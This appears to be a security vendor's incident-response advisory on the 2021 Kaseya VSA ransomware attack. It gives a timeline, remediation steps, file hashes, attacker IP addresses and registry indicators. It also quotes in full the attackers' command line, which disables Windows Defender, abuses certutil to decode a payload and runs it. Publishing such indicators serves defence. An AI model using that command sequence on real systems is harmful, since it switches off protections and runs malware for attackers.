Background

On Friday July 2, 2021, Kaseya, an IT management software provider, notified its customers of a possible security breach in the Kaseya Virtual System Administrator Product. This has been covered extensively (BleepingComputer, CNET, IT World Canada).  

Kaseya has indicated that the number of victims is in the low 1000’s, even though the number may increase, at least 36,000 Kaseya customers took their servers offline. The attack appears to have the biggest impact in the UK, South Africa, and Canada, but organizations from countries around the world have been compromised.  

Following are details we understand (as of the publish date of this article) and recommendations actions to take.

Impacted Organizations

Group 1: MSPs managing client endpoints using VSA

  • These organizations spread the ransomware to their customers

Group 2: Customers of those MSPs & Group 3: Organizations using VSA to manage their own endpoints

  • Potential victims of the ransomware attack
  • Even if they were not affected yet, there still may be risk
  • The attackers may have leveraged access to steal data or maintain persistent access for future attacks

Timeline

  1. Kaseya VSA management servers, hosted on premise by MSPs, were attacked (using a code injection vulnerability)
  1. Attackers retrieved a list of endpoint agents managed by the compromise server (those agents were scattered among numerous independent businesses served by the MSP)
  1. A malicious binary was distributed to endpoints in an encrypted file named agent.crt. The file was added to TempPath (which resolves to c:\kworking by default). The file was then distributed to client systems as an update called “Kaseya VSA Agent Hot-fix”
  1. The malicious binary was decrypted and executed disabling Key system security features and services
  1. The Encryption begins

Actions to Take

Group 1 & Group 3:

  1. Follow Kaseya instructions regarding shutting down VSA on-premises servers
  1. Inventory clients’ endpoints that have ever run VSA agent on them including time of deployment and agent version
  1. Notify potential victims and recommend they backup critical data

Group 2 & Group 3:  

  1. Activate preventative measure to prevent security software from being disabled on endpoints. For Windows Defender, the following Microsoft-issued documentation can be consulted Protect security settings with tamper protection | Microsoft Docs
  1. Initiate Incident Response driven by the following 3 vectors
  1. Actively block the IOCs and TTP enablers related to the attack; Disable VSA agents
  1. Ensure backup of sensitive data and rotate credentials (Including resetting the password of krbtgt user account in Windows Domain Environments)
  1. Initiate a compromise assessment activity to determine whether a covert breach has happened and validate no lateral movement was conducted to other environments and/or cloud environments

Known IOCs (from Huntress on Reddit ):

Endpoint Indicators of Compromise

  • Ransomware encryptors pushed via the Kaseya VSA agent were dropped in TempPath with the file name agent.crt and decoded to agent.exe. TempPath resolves to c:\kworking\agent.exe by default and is configurable within HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Kaseya\Agent\<unique id>
  • When agent.exe runs, the legitimate Windows Defender executable MsMpEng.exe and the encryptor payload mpsvc.dll are dropped into the hardcoded path "c:\Windows" to perform DLL sideloading.
  • The mpsvc.dll Sodinokibi DLL creates the registry key HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\BlackLivesMatter which contains several registry values that store encryptor runtime keys/configurations artifacts.
  • agent.crt - MD5: 939aae3cc456de8964cb182c75a5f8cc - Encoded malicious content
  • agent.exe - MD5: 561cffbaba71a6e8cc1cdceda990ead4 - Decoded contents of agent.crt
  • cert.exe - MD5: <random due to appended string> - Legitimate Windows certutil.exe utility
  • mpsvc.dll - MD5: a47cf00aedf769d60d58bfe00c0b5421- REvil encryptor payload

Server Indicators of Compromise (Those are relevant for Group 1 & 3 victims)

  • Attackers uploaded agent.crt and Screenshot.jpg to exploited VSA servers and this activity can be found in KUpload.log (which *may* be wiped by the attackers or encrypted by ransomware if a VSA agent was also installed on the VSA server).
  • A series of GET and POST requests using curl can be found within the KaseyaEdgeServices logs located in %ProgramData%\Kaseya\Log\KaseyaEdgeServices directory with a file name following this modified ISO8601 naming scheme KaseyaEdgeServices-YYYY-MM-DDTHH-MM-SSZ.log.
  • Attackers came from the following IP addresses using the user agent curl/7.69.1:
    18.223.199[.]234 (Amazon Web Services) discovered by Huntress
    161.35.239[.]148 (Digital Ocean) discovered by TrueSec
    35.226.94[.]113 (Google Cloud) discovered by Kaseya
    162.253.124[.]162 (Sapioterra) discovered by Kaseya
    The "Kaseya VSA Agent Hot-fix” procedure ran the following: "C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe
Protecting Your Enterprise Against Today’s Most Dangerous Cyberthreats with Ransomware Readiness

LAST UPDATED:

March 3, 2025

Don't miss these stories:

Frost & Sullivan’s Latest 2025 Frost Radar: The Need for Runtime Cloud Security in a Cloud-First World

Cloud breaches rose 35% year over year in 2024, and legacy security tools are failing to keep up. The rapid sprawl of multi-cloud and SaaS has shattered the assumptions baked into legacy, on-prem, and endpoint-focused security stacks, which can’t keep pace with today’s dynamic attack surfaces.

The Remote Worker Scam: Understanding the North Korean Insider Threat

Recent investigations have uncovered a sophisticated scheme by North Korean operatives to exploit remote work policies in the U.S. tech industry.

Who Touched My GCP Project? Understanding the Principal Part in Cloud Audit Logs – Part 2

This second part of the blog series continues the path to understanding principals and identities in Google Cloud Platform (GCP) Audit Logs. Part one introduced core concepts around GCP logging, the different identity types, service accounts, authentication methods, and impersonation.

Mitiga Security Advisory: Lack of Forensic Visibility with the Basic License in Google Drive

Mitiga's advisory highlights critical gaps in forensic visibility with Google Drive's Basic license, affecting security and incident investigations. Read on.

Cloud Detection vs Cloud Threat Hunting: Insights for Cyber Leaders

As cyber threats evolve, security teams need to detect and mitigate cloud attacks. Learn why cloud detection and threat hunting are key defense strategies.

Oops, I Leaked It Again — How Mitiga Found PII in Exposed Amazon RDS Snapshots

A recent Mitiga Research Team investigation found the well-regarded Amazon Relational Database Service is leaking PII via exposed RDS Snapshots.